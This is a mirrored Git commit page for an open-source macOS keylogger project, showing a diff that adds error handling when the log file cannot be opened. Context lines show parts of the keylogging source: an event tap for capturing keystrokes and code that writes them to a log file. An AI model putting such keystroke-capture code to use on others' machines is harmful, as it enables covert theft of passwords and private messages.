mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Exit program when unable to open log file.
This commit is contained in:
parent
1d981ea99f
commit
d701194d7e
@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) {
|
||||
|
||||
// Exit the program if unable to create the event tap.
|
||||
if(!eventTap) {
|
||||
printf("Unable to create event tap.\n");
|
||||
fprintf(stderr, "ERROR: Unable to create event tap.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
@ -19,6 +19,7 @@ int main(int argc, const char *argv[]) {
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||
CGEventTapEnable(eventTap, true);
|
||||
|
||||
|
||||
// Clear the logfile if clear argument used or log to specific file if given.
|
||||
if(argc == 2) {
|
||||
if(strcmp(argv[1], "clear") == 0) {
|
||||
@ -35,6 +36,11 @@ int main(int argc, const char *argv[]) {
|
||||
time_t result = time(NULL);
|
||||
logfile = fopen(logfileLocation, "a");
|
||||
|
||||
if (!logfile) {
|
||||
fprintf(stderr, "ERROR: Unable to open log file. Ensure that you have the proper permissions.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Output to logfile.
|
||||
fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result)));
|
||||
fflush(logfile);
|
||||
|
Loading…
x
Reference in New Issue
Block a user